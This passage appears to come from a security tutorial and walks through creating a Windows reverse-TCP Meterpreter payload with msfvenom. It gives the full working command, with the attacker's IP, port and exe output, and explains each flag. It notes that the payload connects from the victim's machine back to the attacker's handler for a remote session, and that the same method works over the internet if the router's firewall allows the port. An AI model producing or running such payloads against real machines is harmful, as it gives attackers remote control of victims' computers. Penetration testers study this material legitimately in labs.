Creating the Payload
The payload we are going to create with msfvenom is a Reverse TCP payload for windows. This payload generates an exe which when run connects from the victim’s machine to our Metasploit handler giving us a meterpreter session.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=6001 -f exe (angle bracket) securitytutorials.exe
-p lets you specify which payload you want to use.
lhost this needs to be the attackers IP address you want the payload to connect back to.
lport as above; this is the port the payload will connect on and will need to be set up in the handler.
-f this tells Msfvenom what it should create the payload as in this instance we are going for a program executable or EXE. (If you want to know what other formats are available type msfvenom -l format in the terminal.)
this redirects the output of our command to the file name we specify.
Even though I am using a local IP address as this is on my test network, this works just the same via a Wan Interface; but you will need to make sure however that the port used is allowed through the firewall of your router.